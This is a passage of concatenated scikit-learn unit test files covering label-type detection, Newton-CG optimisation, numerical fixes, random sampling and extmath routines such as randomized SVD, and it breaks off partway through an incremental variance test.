NON_ARRAY_LIKE_EXAMPLES = [
    set([1, 2, 3]),
    {0: 'a', 1: 'b'},
    {0: [5], 1: [5]},
    'abc',
    frozenset([1, 2, 3]),
    None,
]

MULTILABEL_SEQUENCES = [
    [[1], [2], [0, 1]],
    [(), (2), (0, 1)],
    np.array([[], [1, 2]], dtype='object'),
    NotAnArray(np.array([[], [1, 2]], dtype='object'))
]


def test_unique_labels():
    # Empty iterable
    assert_raises(ValueError, unique_labels)

    # Multiclass problem
    assert_array_equal(unique_labels(xrange(10)), np.arange(10))
    assert_array_equal(unique_labels(np.arange(10)), np.arange(10))
    assert_array_equal(unique_labels([4, 0, 2]), np.array([0, 2, 4]))

    # Multilabel indicator
    assert_array_equal(unique_labels(np.array([[0, 0, 1],
                                               [1, 0, 1],
                                               [0, 0, 0]])),
                       np.arange(3))

    assert_array_equal(unique_labels(np.array([[0, 0, 1],
                                               [0, 0, 0]])),
                       np.arange(3))

    # Several arrays passed
    assert_array_equal(unique_labels([4, 0, 2], xrange(5)),
                       np.arange(5))
    assert_array_equal(unique_labels((0, 1, 2), (0,), (2, 1)),
                       np.arange(3))

    # Border line case with binary indicator matrix
    assert_raises(ValueError, unique_labels, [4, 0, 2], np.ones((5, 5)))
    assert_raises(ValueError, unique_labels, np.ones((5, 4)), np.ones((5, 5)))
    assert_array_equal(unique_labels(np.ones((4, 5)), np.ones((5, 5))),
                       np.arange(5))


def test_unique_labels_non_specific():
    # Test unique_labels with a variety of collected examples

    # Smoke test for all supported format
    for format in ["binary", "multiclass", "multilabel-indicator"]:
        for y in EXAMPLES[format]:
            unique_labels(y)

    # We don't support those format at the moment
    for example in NON_ARRAY_LIKE_EXAMPLES:
        assert_raises(ValueError, unique_labels, example)

    for y_type in ["unknown", "continuous", 'continuous-multioutput',
                   'multiclass-multioutput']:
        for example in EXAMPLES[y_type]:
            assert_raises(ValueError, unique_labels, example)


def test_unique_labels_mixed_types():
    # Mix with binary or multiclass and multilabel
    mix_clf_format = product(EXAMPLES["multilabel-indicator"],
                             EXAMPLES["multiclass"] +
                             EXAMPLES["binary"])

    for y_multilabel, y_multiclass in mix_clf_format:
        assert_raises(ValueError, unique_labels, y_multiclass, y_multilabel)
        assert_raises(ValueError, unique_labels, y_multilabel, y_multiclass)

    assert_raises(ValueError, unique_labels, [[1, 2]], [["a", "d"]])
    assert_raises(ValueError, unique_labels, ["1", 2])
    assert_raises(ValueError, unique_labels, [["1", 2], [1, 3]])
    assert_raises(ValueError, unique_labels, [["1", "2"], [2, 3]])


def test_is_multilabel():
    for group, group_examples in iteritems(EXAMPLES):
        if group in ['multilabel-indicator']:
            dense_assert_, dense_exp = assert_true, 'True'
        else:
            dense_assert_, dense_exp = assert_false, 'False'

        for example in group_examples:
            # Only mark explicitly defined sparse examples as valid sparse
            # multilabel-indicators
            if group == 'multilabel-indicator' and issparse(example):
                sparse_assert_, sparse_exp = assert_true, 'True'
            else:
                sparse_assert_, sparse_exp = assert_false, 'False'

            if (issparse(example) or
                (hasattr(example, '__array__') and
                 np.asarray(example).ndim == 2 and
                 np.asarray(example).dtype.kind in 'biuf' and
                 np.asarray(example).shape[1] > 0)):
                examples_sparse = [sparse_matrix(example)
                                   for sparse_matrix in [coo_matrix,
                                                         csc_matrix,
                                                         csr_matrix,
                                                         dok_matrix,
                                                         lil_matrix]]
                for exmpl_sparse in examples_sparse:
                    sparse_assert_(is_multilabel(exmpl_sparse),
                                   msg=('is_multilabel(%r)'
                                   ' should be %s')
                                   % (exmpl_sparse, sparse_exp))

            # Densify sparse examples before testing
            if issparse(example):
                example = example.toarray()

            dense_assert_(is_multilabel(example),
                          msg='is_multilabel(%r) should be %s'
                          % (example, dense_exp))

def test_check_classification_targets():
    for y_type in EXAMPLES.keys():
        if y_type in ["unknown", "continuous", 'continuous-multioutput']:
            for example in EXAMPLES[y_type]:
                msg = 'Unknown label type: '
                assert_raises_regex(ValueError, msg, 
                    check_classification_targets, example)
        else:
            for example in EXAMPLES[y_type]:
                check_classification_targets(example)

# @ignore_warnings
def test_type_of_target():
    for group, group_examples in iteritems(EXAMPLES):
        for example in group_examples:
            assert_equal(type_of_target(example), group,
                         msg=('type_of_target(%r) should be %r, got %r'
                              % (example, group, type_of_target(example))))

    for example in NON_ARRAY_LIKE_EXAMPLES:
        msg_regex = 'Expected array-like \(array or non-string sequence\).*'
        assert_raises_regex(ValueError, msg_regex, type_of_target, example)

    for example in MULTILABEL_SEQUENCES:
        msg = ('You appear to be using a legacy multi-label data '
               'representation. Sequence of sequences are no longer supported;'
               ' use a binary array or sparse matrix instead.')
        assert_raises_regex(ValueError, msg, type_of_target, example)


def test_class_distribution():
    y = np.array([[1, 0, 0, 1],
                  [2, 2, 0, 1],
                  [1, 3, 0, 1],
                  [4, 2, 0, 1],
                  [2, 0, 0, 1],
                  [1, 3, 0, 1]])
    # Define the sparse matrix with a mix of implicit and explicit zeros
    data = np.array([1, 2, 1, 4, 2, 1, 0, 2, 3, 2, 3, 1, 1, 1, 1, 1, 1])
    indices = np.array([0, 1, 2, 3, 4, 5, 0, 1, 2, 3, 5, 0, 1, 2, 3, 4, 5])
    indptr = np.array([0, 6, 11, 11, 17])
    y_sp = sp.csc_matrix((data, indices, indptr), shape=(6, 4))

    classes, n_classes, class_prior = class_distribution(y)
    classes_sp, n_classes_sp, class_prior_sp = class_distribution(y_sp)
    classes_expected = [[1, 2, 4],
                        [0, 2, 3],
                        [0],
                        [1]]
    n_classes_expected = [3, 3, 1, 1]
    class_prior_expected = [[3/6, 2/6, 1/6],
                            [1/3, 1/3, 1/3],
                            [1.0],
                            [1.0]]

    for k in range(y.shape[1]):
        assert_array_almost_equal(classes[k], classes_expected[k])
        assert_array_almost_equal(n_classes[k], n_classes_expected[k])
        assert_array_almost_equal(class_prior[k], class_prior_expected[k])

        assert_array_almost_equal(classes_sp[k], classes_expected[k])
        assert_array_almost_equal(n_classes_sp[k], n_classes_expected[k])
        assert_array_almost_equal(class_prior_sp[k], class_prior_expected[k])

    # Test again with explicit sample weights
    (classes,
     n_classes,
     class_prior) = class_distribution(y, [1.0, 2.0, 1.0, 2.0, 1.0, 2.0])
    (classes_sp,
     n_classes_sp,
     class_prior_sp) = class_distribution(y, [1.0, 2.0, 1.0, 2.0, 1.0, 2.0])
    class_prior_expected = [[4/9, 3/9, 2/9],
                            [2/9, 4/9, 3/9],
                            [1.0],
                            [1.0]]

    for k in range(y.shape[1]):
        assert_array_almost_equal(classes[k], classes_expected[k])
        assert_array_almost_equal(n_classes[k], n_classes_expected[k])
        assert_array_almost_equal(class_prior[k], class_prior_expected[k])

        assert_array_almost_equal(classes_sp[k], classes_expected[k])
        assert_array_almost_equal(n_classes_sp[k], n_classes_expected[k])
        assert_array_almost_equal(class_prior_sp[k], class_prior_expected[k])






import numpy as np

from sklearn.utils.optimize import newton_cg
from scipy.optimize import fmin_ncg

from sklearn.utils.testing import assert_array_almost_equal


def test_newton_cg():
    # Test that newton_cg gives same result as scipy's fmin_ncg

    rng = np.random.RandomState(0)
    A = rng.normal(size=(10, 10))
    x0 = np.ones(10)

    def func(x):
        Ax = A.dot(x)
        return .5 * (Ax).dot(Ax)

    def grad(x):
        return A.T.dot(A.dot(x))

    def hess(x, p):
        return p.dot(A.T.dot(A.dot(x.all())))

    def grad_hess(x):
        return grad(x), lambda x: A.T.dot(A.dot(x))

    assert_array_almost_equal(
        newton_cg(grad_hess, func, grad, x0, tol=1e-10)[0],
        fmin_ncg(f=func, x0=x0, fprime=grad, fhess_p=hess)
        )






# Authors: Gael Varoquaux <gael.varoquaux@normalesup.org>
#          Justin Vincent
#          Lars Buitinck
# License: BSD 3 clause

import numpy as np

from nose.tools import assert_equal
from nose.tools import assert_false
from nose.tools import assert_true
from numpy.testing import (assert_almost_equal,
                           assert_array_almost_equal)

from sklearn.utils.fixes import divide, expit
from sklearn.utils.fixes import astype


def test_expit():
    # Check numerical stability of expit (logistic function).

    # Simulate our previous Cython implementation, based on
    #http://fa.bianp.net/blog/2013/numerical-optimizers-for-logistic-regression
    assert_almost_equal(expit(1000.), 1. / (1. + np.exp(-1000.)), decimal=16)
    assert_almost_equal(expit(-1000.), np.exp(-1000.) / (1. + np.exp(-1000.)),
                        decimal=16)

    x = np.arange(10)
    out = np.zeros_like(x, dtype=np.float32)
    assert_array_almost_equal(expit(x), expit(x, out=out))


def test_divide():
    assert_equal(divide(.6, 1), .600000000000)


def test_astype_copy_memory():
    a_int32 = np.ones(3, np.int32)

    # Check that dtype conversion works
    b_float32 = astype(a_int32, dtype=np.float32, copy=False)
    assert_equal(b_float32.dtype, np.float32)

    # Changing dtype forces a copy even if copy=False
    assert_false(np.may_share_memory(b_float32, a_int32))

    # Check that copy can be skipped if requested dtype match
    c_int32 = astype(a_int32, dtype=np.int32, copy=False)
    assert_true(c_int32 is a_int32)

    # Check that copy can be forced, and is the case by default:
    d_int32 = astype(a_int32, dtype=np.int32, copy=True)
    assert_false(np.may_share_memory(d_int32, a_int32))

    e_int32 = astype(a_int32, dtype=np.int32)
    assert_false(np.may_share_memory(e_int32, a_int32))













import datetime

from sklearn.utils.bench import total_seconds
from nose.tools import assert_equal


def test_total_seconds():
    delta = (datetime.datetime(2012, 1, 1, 5, 5, 1)
             - datetime.datetime(2012, 1, 1, 5, 5, 4))
    assert_equal(86397, total_seconds(delta))






from __future__ import division

import numpy as np
import scipy.sparse as sp
from scipy.misc import comb as combinations
from numpy.testing import assert_array_almost_equal
from sklearn.utils.random import sample_without_replacement
from sklearn.utils.random import random_choice_csc

from sklearn.utils.testing import (
    assert_raises,
    assert_equal,
    assert_true)


###############################################################################
# test custom sampling without replacement algorithm
###############################################################################
def test_invalid_sample_without_replacement_algorithm():
    assert_raises(ValueError, sample_without_replacement, 5, 4, "unknown")


def test_sample_without_replacement_algorithms():
    methods = ("auto", "tracking_selection", "reservoir_sampling", "pool")

    for m in methods:
        def sample_without_replacement_method(n_population, n_samples,
                                              random_state=None):
            return sample_without_replacement(n_population, n_samples,
                                              method=m,
                                              random_state=random_state)

        check_edge_case_of_sample_int(sample_without_replacement_method)
        check_sample_int(sample_without_replacement_method)
        check_sample_int_distribution(sample_without_replacement_method)


def check_edge_case_of_sample_int(sample_without_replacement):

    # n_population < n_sample
    assert_raises(ValueError, sample_without_replacement, 0, 1)
    assert_raises(ValueError, sample_without_replacement, 1, 2)

    # n_population == n_samples
    assert_equal(sample_without_replacement(0, 0).shape, (0, ))

    assert_equal(sample_without_replacement(1, 1).shape, (1, ))

    # n_population >= n_samples
    assert_equal(sample_without_replacement(5, 0).shape, (0, ))
    assert_equal(sample_without_replacement(5, 1).shape, (1, ))

    # n_population < 0 or n_samples < 0
    assert_raises(ValueError, sample_without_replacement, -1, 5)
    assert_raises(ValueError, sample_without_replacement, 5, -1)


def check_sample_int(sample_without_replacement):
    # This test is heavily inspired from test_random.py of python-core.
    #
    # For the entire allowable range of 0 <= k <= N, validate that
    # the sample is of the correct length and contains only unique items
    n_population = 100

    for n_samples in range(n_population + 1):
        s = sample_without_replacement(n_population, n_samples)
        assert_equal(len(s), n_samples)
        unique = np.unique(s)
        assert_equal(np.size(unique), n_samples)
        assert_true(np.all(unique < n_population))

    # test edge case n_population == n_samples == 0
    assert_equal(np.size(sample_without_replacement(0, 0)), 0)


def check_sample_int_distribution(sample_without_replacement):
    # This test is heavily inspired from test_random.py of python-core.
    #
    # For the entire allowable range of 0 <= k <= N, validate that
    # sample generates all possible permutations
    n_population = 10

    # a large number of trials prevents false negatives without slowing normal
    # case
    n_trials = 10000

    for n_samples in range(n_population):
        # Counting the number of combinations is not as good as counting the
        # the number of permutations. However, it works with sampling algorithm
        # that does not provide a random permutation of the subset of integer.
        n_expected = combinations(n_population, n_samples, exact=True)

        output = {}
        for i in range(n_trials):
            output[frozenset(sample_without_replacement(n_population,
                                                        n_samples))] = None

            if len(output) == n_expected:
                break
        else:
            raise AssertionError(
                "number of combinations != number of expected (%s != %s)" %
                (len(output), n_expected))


def test_random_choice_csc(n_samples=10000, random_state=24):
    # Explicit class probabilities
    classes = [np.array([0, 1]),  np.array([0, 1, 2])]
    class_probabilites = [np.array([0.5, 0.5]), np.array([0.6, 0.1, 0.3])]

    got = random_choice_csc(n_samples, classes, class_probabilites,
                            random_state)
    assert_true(sp.issparse(got))

    for k in range(len(classes)):
        p = np.bincount(got.getcol(k).toarray().ravel()) / float(n_samples)
        assert_array_almost_equal(class_probabilites[k], p, decimal=1)

    # Implicit class probabilities
    classes = [[0, 1],  [1, 2]]  # test for array-like support
    class_probabilites = [np.array([0.5, 0.5]), np.array([0, 1/2, 1/2])]

    got = random_choice_csc(n_samples=n_samples,
                            classes=classes,
                            random_state=random_state)
    assert_true(sp.issparse(got))

    for k in range(len(classes)):
        p = np.bincount(got.getcol(k).toarray().ravel()) / float(n_samples)
        assert_array_almost_equal(class_probabilites[k], p, decimal=1)

    # Edge case probabilities 1.0 and 0.0
    classes = [np.array([0, 1]),  np.array([0, 1, 2])]
    class_probabilites = [np.array([1.0, 0.0]), np.array([0.0, 1.0, 0.0])]

    got = random_choice_csc(n_samples, classes, class_probabilites,
                            random_state)
    assert_true(sp.issparse(got))

    for k in range(len(classes)):
        p = np.bincount(got.getcol(k).toarray().ravel(),
                        minlength=len(class_probabilites[k])) / n_samples
        assert_array_almost_equal(class_probabilites[k], p, decimal=1)

    # One class target data
    classes = [[1],  [0]]  # test for array-like support
    class_probabilites = [np.array([0.0, 1.0]), np.array([1.0])]

    got = random_choice_csc(n_samples=n_samples,
                            classes=classes,
                            random_state=random_state)
    assert_true(sp.issparse(got))

    for k in range(len(classes)):
        p = np.bincount(got.getcol(k).toarray().ravel()) / n_samples
        assert_array_almost_equal(class_probabilites[k], p, decimal=1)


def test_random_choice_csc_errors():
    # the length of an array in classes and class_probabilites is mismatched
    classes = [np.array([0, 1]),  np.array([0, 1, 2, 3])]
    class_probabilites = [np.array([0.5, 0.5]), np.array([0.6, 0.1, 0.3])]
    assert_raises(ValueError, random_choice_csc, 4, classes,
                  class_probabilites, 1)

    # the class dtype is not supported
    classes = [np.array(["a", "1"]),  np.array(["z", "1", "2"])]
    class_probabilites = [np.array([0.5, 0.5]), np.array([0.6, 0.1, 0.3])]
    assert_raises(ValueError, random_choice_csc, 4, classes,
                  class_probabilites, 1)

    # the class dtype is not supported
    classes = [np.array([4.2, 0.1]),  np.array([0.1, 0.2, 9.4])]
    class_probabilites = [np.array([0.5, 0.5]), np.array([0.6, 0.1, 0.3])]
    assert_raises(ValueError, random_choice_csc, 4, classes,
                  class_probabilites, 1)

    # Given probabilities don't sum to 1
    classes = [np.array([0, 1]),  np.array([0, 1, 2])]
    class_probabilites = [np.array([0.5, 0.6]), np.array([0.6, 0.1, 0.3])]
    assert_raises(ValueError, random_choice_csc, 4, classes,
                  class_probabilites, 1)






# Authors: Olivier Grisel <olivier.grisel@ensta.org>
#          Mathieu Blondel <mathieu@mblondel.org>
#          Denis Engemann <d.engemann@fz-juelich.de>
#
# License: BSD 3 clause

import numpy as np
from scipy import sparse
from scipy import linalg
from scipy import stats

from sklearn.utils.testing import assert_equal
from sklearn.utils.testing import assert_almost_equal
from sklearn.utils.testing import assert_array_equal
from sklearn.utils.testing import assert_array_almost_equal
from sklearn.utils.testing import assert_true
from sklearn.utils.testing import assert_false
from sklearn.utils.testing import assert_greater
from sklearn.utils.testing import assert_raises
from sklearn.utils.testing import skip_if_32bit

from sklearn.utils.extmath import density
from sklearn.utils.extmath import logsumexp
from sklearn.utils.extmath import norm, squared_norm
from sklearn.utils.extmath import randomized_svd
from sklearn.utils.extmath import row_norms
from sklearn.utils.extmath import weighted_mode
from sklearn.utils.extmath import cartesian
from sklearn.utils.extmath import log_logistic
from sklearn.utils.extmath import fast_dot, _fast_dot
from sklearn.utils.extmath import svd_flip
from sklearn.utils.extmath import _incremental_mean_and_var
from sklearn.utils.extmath import _deterministic_vector_sign_flip
from sklearn.utils.extmath import softmax
from sklearn.datasets.samples_generator import make_low_rank_matrix


def test_density():
    rng = np.random.RandomState(0)
    X = rng.randint(10, size=(10, 5))
    X[1, 2] = 0
    X[5, 3] = 0
    X_csr = sparse.csr_matrix(X)
    X_csc = sparse.csc_matrix(X)
    X_coo = sparse.coo_matrix(X)
    X_lil = sparse.lil_matrix(X)

    for X_ in (X_csr, X_csc, X_coo, X_lil):
        assert_equal(density(X_), density(X))


def test_uniform_weights():
    # with uniform weights, results should be identical to stats.mode
    rng = np.random.RandomState(0)
    x = rng.randint(10, size=(10, 5))
    weights = np.ones(x.shape)

    for axis in (None, 0, 1):
        mode, score = stats.mode(x, axis)
        mode2, score2 = weighted_mode(x, weights, axis)

        assert_true(np.all(mode == mode2))
        assert_true(np.all(score == score2))


def test_random_weights():
    # set this up so that each row should have a weighted mode of 6,
    # with a score that is easily reproduced
    mode_result = 6

    rng = np.random.RandomState(0)
    x = rng.randint(mode_result, size=(100, 10))
    w = rng.random_sample(x.shape)

    x[:, :5] = mode_result
    w[:, :5] += 1

    mode, score = weighted_mode(x, w, axis=1)

    assert_array_equal(mode, mode_result)
    assert_array_almost_equal(score.ravel(), w[:, :5].sum(1))


def test_logsumexp():
    # Try to add some smallish numbers in logspace
    x = np.array([1e-40] * 1000000)
    logx = np.log(x)
    assert_almost_equal(np.exp(logsumexp(logx)), x.sum())

    X = np.vstack([x, x])
    logX = np.vstack([logx, logx])
    assert_array_almost_equal(np.exp(logsumexp(logX, axis=0)), X.sum(axis=0))
    assert_array_almost_equal(np.exp(logsumexp(logX, axis=1)), X.sum(axis=1))


def test_randomized_svd_low_rank():
    # Check that extmath.randomized_svd is consistent with linalg.svd
    n_samples = 100
    n_features = 500
    rank = 5
    k = 10

    # generate a matrix X of approximate effective rank `rank` and no noise
    # component (very structured signal):
    X = make_low_rank_matrix(n_samples=n_samples, n_features=n_features,
                             effective_rank=rank, tail_strength=0.0,
                             random_state=0)
    assert_equal(X.shape, (n_samples, n_features))

    # compute the singular values of X using the slow exact method
    U, s, V = linalg.svd(X, full_matrices=False)

    for normalizer in ['auto', 'LU', 'QR']:  # 'none' would not be stable
        # compute the singular values of X using the fast approximate method
        Ua, sa, Va = \
            randomized_svd(X, k, power_iteration_normalizer=normalizer,
                           random_state=0)
        assert_equal(Ua.shape, (n_samples, k))
        assert_equal(sa.shape, (k,))
        assert_equal(Va.shape, (k, n_features))

        # ensure that the singular values of both methods are equal up to the
        # real rank of the matrix
        assert_almost_equal(s[:k], sa)

        # check the singular vectors too (while not checking the sign)
        assert_almost_equal(np.dot(U[:, :k], V[:k, :]), np.dot(Ua, Va))

        # check the sparse matrix representation
        X = sparse.csr_matrix(X)

        # compute the singular values of X using the fast approximate method
        Ua, sa, Va = \
            randomized_svd(X, k, power_iteration_normalizer=normalizer,
                           random_state=0)
        assert_almost_equal(s[:rank], sa[:rank])


def test_norm_squared_norm():
    X = np.random.RandomState(42).randn(50, 63)
    X *= 100        # check stability
    X += 200

    assert_almost_equal(np.linalg.norm(X.ravel()), norm(X))
    assert_almost_equal(norm(X) ** 2, squared_norm(X), decimal=6)
    assert_almost_equal(np.linalg.norm(X), np.sqrt(squared_norm(X)), decimal=6)


def test_row_norms():
    X = np.random.RandomState(42).randn(100, 100)
    for dtype in (np.float32, np.float64):
        if dtype is np.float32:
            precision = 4
        else:
            precision = 5

        X = X.astype(dtype)
        sq_norm = (X ** 2).sum(axis=1)

        assert_array_almost_equal(sq_norm, row_norms(X, squared=True),
                                  precision)
        assert_array_almost_equal(np.sqrt(sq_norm), row_norms(X), precision)

        Xcsr = sparse.csr_matrix(X, dtype=dtype)
        assert_array_almost_equal(sq_norm, row_norms(Xcsr, squared=True),
                                  precision)
        assert_array_almost_equal(np.sqrt(sq_norm), row_norms(Xcsr), precision)


def test_randomized_svd_low_rank_with_noise():
    # Check that extmath.randomized_svd can handle noisy matrices
    n_samples = 100
    n_features = 500
    rank = 5
    k = 10

    # generate a matrix X wity structure approximate rank `rank` and an
    # important noisy component
    X = make_low_rank_matrix(n_samples=n_samples, n_features=n_features,
                             effective_rank=rank, tail_strength=0.1,
                             random_state=0)
    assert_equal(X.shape, (n_samples, n_features))

    # compute the singular values of X using the slow exact method
    _, s, _ = linalg.svd(X, full_matrices=False)

    for normalizer in ['auto', 'none', 'LU', 'QR']:
        # compute the singular values of X using the fast approximate
        # method without the iterated power method
        _, sa, _ = randomized_svd(X, k, n_iter=0,
                                  power_iteration_normalizer=normalizer,
                                  random_state=0)

        # the approximation does not tolerate the noise:
        assert_greater(np.abs(s[:k] - sa).max(), 0.01)

        # compute the singular values of X using the fast approximate
        # method with iterated power method
        _, sap, _ = randomized_svd(X, k,
                                   power_iteration_normalizer=normalizer,
                                   random_state=0)

        # the iterated power method is helping getting rid of the noise:
        assert_almost_equal(s[:k], sap, decimal=3)


def test_randomized_svd_infinite_rank():
    # Check that extmath.randomized_svd can handle noisy matrices
    n_samples = 100
    n_features = 500
    rank = 5
    k = 10

    # let us try again without 'low_rank component': just regularly but slowly
    # decreasing singular values: the rank of the data matrix is infinite
    X = make_low_rank_matrix(n_samples=n_samples, n_features=n_features,
                             effective_rank=rank, tail_strength=1.0,
                             random_state=0)
    assert_equal(X.shape, (n_samples, n_features))

    # compute the singular values of X using the slow exact method
    _, s, _ = linalg.svd(X, full_matrices=False)
    for normalizer in ['auto', 'none', 'LU', 'QR']:
        # compute the singular values of X using the fast approximate method
        # without the iterated power method
        _, sa, _ = randomized_svd(X, k, n_iter=0,
                                  power_iteration_normalizer=normalizer)

        # the approximation does not tolerate the noise:
        assert_greater(np.abs(s[:k] - sa).max(), 0.1)

        # compute the singular values of X using the fast approximate method
        # with iterated power method
        _, sap, _ = randomized_svd(X, k, n_iter=5,
                                   power_iteration_normalizer=normalizer)

        # the iterated power method is still managing to get most of the
        # structure at the requested rank
        assert_almost_equal(s[:k], sap, decimal=3)


def test_randomized_svd_transpose_consistency():
    # Check that transposing the design matrix has limited impact
    n_samples = 100
    n_features = 500
    rank = 4
    k = 10

    X = make_low_rank_matrix(n_samples=n_samples, n_features=n_features,
                             effective_rank=rank, tail_strength=0.5,
                             random_state=0)
    assert_equal(X.shape, (n_samples, n_features))

    U1, s1, V1 = randomized_svd(X, k, n_iter=3, transpose=False,
                                random_state=0)
    U2, s2, V2 = randomized_svd(X, k, n_iter=3, transpose=True,
                                random_state=0)
    U3, s3, V3 = randomized_svd(X, k, n_iter=3, transpose='auto',
                                random_state=0)
    U4, s4, V4 = linalg.svd(X, full_matrices=False)

    assert_almost_equal(s1, s4[:k], decimal=3)
    assert_almost_equal(s2, s4[:k], decimal=3)
    assert_almost_equal(s3, s4[:k], decimal=3)

    assert_almost_equal(np.dot(U1, V1), np.dot(U4[:, :k], V4[:k, :]),
                        decimal=2)
    assert_almost_equal(np.dot(U2, V2), np.dot(U4[:, :k], V4[:k, :]),
                        decimal=2)

    # in this case 'auto' is equivalent to transpose
    assert_almost_equal(s2, s3)


def test_randomized_svd_power_iteration_normalizer():
    # randomized_svd with power_iteration_normalized='none' diverges for
    # large number of power iterations on this dataset
    rng = np.random.RandomState(42)
    X = make_low_rank_matrix(100, 500, effective_rank=50, random_state=rng)
    X += 3 * rng.randint(0, 2, size=X.shape)
    n_components = 50

    # Check that it diverges with many (non-normalized) power iterations
    U, s, V = randomized_svd(X, n_components, n_iter=2,
                             power_iteration_normalizer='none')
    A = X - U.dot(np.diag(s).dot(V))
    error_2 = linalg.norm(A, ord='fro')
    U, s, V = randomized_svd(X, n_components, n_iter=20,
                             power_iteration_normalizer='none')
    A = X - U.dot(np.diag(s).dot(V))
    error_20 = linalg.norm(A, ord='fro')
    assert_greater(np.abs(error_2 - error_20), 100)

    for normalizer in ['LU', 'QR', 'auto']:
        U, s, V = randomized_svd(X, n_components, n_iter=2,
                                 power_iteration_normalizer=normalizer,
                                 random_state=0)
        A = X - U.dot(np.diag(s).dot(V))
        error_2 = linalg.norm(A, ord='fro')

        for i in [5, 10, 50]:
            U, s, V = randomized_svd(X, n_components, n_iter=i,
                                     power_iteration_normalizer=normalizer,
                                     random_state=0)
            A = X - U.dot(np.diag(s).dot(V))
            error = linalg.norm(A, ord='fro')
            assert_greater(15, np.abs(error_2 - error))


def test_svd_flip():
    # Check that svd_flip works in both situations, and reconstructs input.
    rs = np.random.RandomState(1999)
    n_samples = 20
    n_features = 10
    X = rs.randn(n_samples, n_features)

    # Check matrix reconstruction
    U, S, V = linalg.svd(X, full_matrices=False)
    U1, V1 = svd_flip(U, V, u_based_decision=False)
    assert_almost_equal(np.dot(U1 * S, V1), X, decimal=6)

    # Check transposed matrix reconstruction
    XT = X.T
    U, S, V = linalg.svd(XT, full_matrices=False)
    U2, V2 = svd_flip(U, V, u_based_decision=True)
    assert_almost_equal(np.dot(U2 * S, V2), XT, decimal=6)

    # Check that different flip methods are equivalent under reconstruction
    U_flip1, V_flip1 = svd_flip(U, V, u_based_decision=True)
    assert_almost_equal(np.dot(U_flip1 * S, V_flip1), XT, decimal=6)
    U_flip2, V_flip2 = svd_flip(U, V, u_based_decision=False)
    assert_almost_equal(np.dot(U_flip2 * S, V_flip2), XT, decimal=6)


def test_randomized_svd_sign_flip():
    a = np.array([[2.0, 0.0], [0.0, 1.0]])
    u1, s1, v1 = randomized_svd(a, 2, flip_sign=True, random_state=41)
    for seed in range(10):
        u2, s2, v2 = randomized_svd(a, 2, flip_sign=True, random_state=seed)
        assert_almost_equal(u1, u2)
        assert_almost_equal(v1, v2)
        assert_almost_equal(np.dot(u2 * s2, v2), a)
        assert_almost_equal(np.dot(u2.T, u2), np.eye(2))
        assert_almost_equal(np.dot(v2.T, v2), np.eye(2))


def test_randomized_svd_sign_flip_with_transpose():
    # Check if the randomized_svd sign flipping is always done based on u
    # irrespective of transpose.
    # See https://github.com/scikit-learn/scikit-learn/issues/5608
    # for more details.
    def max_loading_is_positive(u, v):
        """
        returns bool tuple indicating if the values maximising np.abs
        are positive across all rows for u and across all columns for v.
        """
        u_based = (np.abs(u).max(axis=0) == u.max(axis=0)).all()
        v_based = (np.abs(v).max(axis=1) == v.max(axis=1)).all()
        return u_based, v_based

    mat = np.arange(10 * 8).reshape(10, -1)

    # Without transpose
    u_flipped, _, v_flipped = randomized_svd(mat, 3, flip_sign=True)
    u_based, v_based = max_loading_is_positive(u_flipped, v_flipped)
    assert_true(u_based)
    assert_false(v_based)

    # With transpose
    u_flipped_with_transpose, _, v_flipped_with_transpose = randomized_svd(
        mat, 3, flip_sign=True, transpose=True)
    u_based, v_based = max_loading_is_positive(
        u_flipped_with_transpose, v_flipped_with_transpose)
    assert_true(u_based)
    assert_false(v_based)


def test_cartesian():
    # Check if cartesian product delivers the right results

    axes = (np.array([1, 2, 3]), np.array([4, 5]), np.array([6, 7]))

    true_out = np.array([[1, 4, 6],
                         [1, 4, 7],
                         [1, 5, 6],
                         [1, 5, 7],
                         [2, 4, 6],
                         [2, 4, 7],
                         [2, 5, 6],
                         [2, 5, 7],
                         [3, 4, 6],
                         [3, 4, 7],
                         [3, 5, 6],
                         [3, 5, 7]])

    out = cartesian(axes)
    assert_array_equal(true_out, out)

    # check single axis
    x = np.arange(3)
    assert_array_equal(x[:, np.newaxis], cartesian((x,)))


def test_logistic_sigmoid():
    # Check correctness and robustness of logistic sigmoid implementation
    def naive_log_logistic(x):
        return np.log(1 / (1 + np.exp(-x)))

    x = np.linspace(-2, 2, 50)
    assert_array_almost_equal(log_logistic(x), naive_log_logistic(x))

    extreme_x = np.array([-100., 100.])
    assert_array_almost_equal(log_logistic(extreme_x), [-100, 0])


def test_fast_dot():
    # Check fast dot blas wrapper function
    if fast_dot is np.dot:
        return

    rng = np.random.RandomState(42)
    A = rng.random_sample([2, 10])
    B = rng.random_sample([2, 10])

    try:
        linalg.get_blas_funcs(['gemm'])[0]
        has_blas = True
    except (AttributeError, ValueError):
        has_blas = False

    if has_blas:
        # Test _fast_dot for invalid input.

        # Maltyped data.
        for dt1, dt2 in [['f8', 'f4'], ['i4', 'i4']]:
            assert_raises(ValueError, _fast_dot, A.astype(dt1),
                          B.astype(dt2).T)

        # Malformed data.

        # ndim == 0
        E = np.empty(0)
        assert_raises(ValueError, _fast_dot, E, E)

        # ndim == 1
        assert_raises(ValueError, _fast_dot, A, A[0])

        # ndim > 2
        assert_raises(ValueError, _fast_dot, A.T, np.array([A, A]))

        # min(shape) == 1
        assert_raises(ValueError, _fast_dot, A, A[0, :][None, :])

        # test for matrix mismatch error
        assert_raises(ValueError, _fast_dot, A, A)

    # Test cov-like use case + dtypes.
    for dtype in ['f8', 'f4']:
        A = A.astype(dtype)
        B = B.astype(dtype)

        #  col < row
        C = np.dot(A.T, A)
        C_ = fast_dot(A.T, A)
        assert_almost_equal(C, C_, decimal=5)

        C = np.dot(A.T, B)
        C_ = fast_dot(A.T, B)
        assert_almost_equal(C, C_, decimal=5)

        C = np.dot(A, B.T)
        C_ = fast_dot(A, B.T)
        assert_almost_equal(C, C_, decimal=5)

    # Test square matrix * rectangular use case.
    A = rng.random_sample([2, 2])
    for dtype in ['f8', 'f4']:
        A = A.astype(dtype)
        B = B.astype(dtype)

        C = np.dot(A, B)
        C_ = fast_dot(A, B)
        assert_almost_equal(C, C_, decimal=5)

        C = np.dot(A.T, B)
        C_ = fast_dot(A.T, B)
        assert_almost_equal(C, C_, decimal=5)

    if has_blas:
        for x in [np.array([[d] * 10] * 2) for d in [np.inf, np.nan]]:
            assert_raises(ValueError, _fast_dot, x, x.T)


def test_incremental_variance_update_formulas():
    # Test Youngs and Cramer incremental variance formulas.
    # Doggie data from http://www.mathsisfun.com/data/standard-deviation.html
    A = np.array([[600, 470, 170, 430, 300],
                  [600, 470, 170, 430, 300],
                  [600, 470, 170, 430, 300],
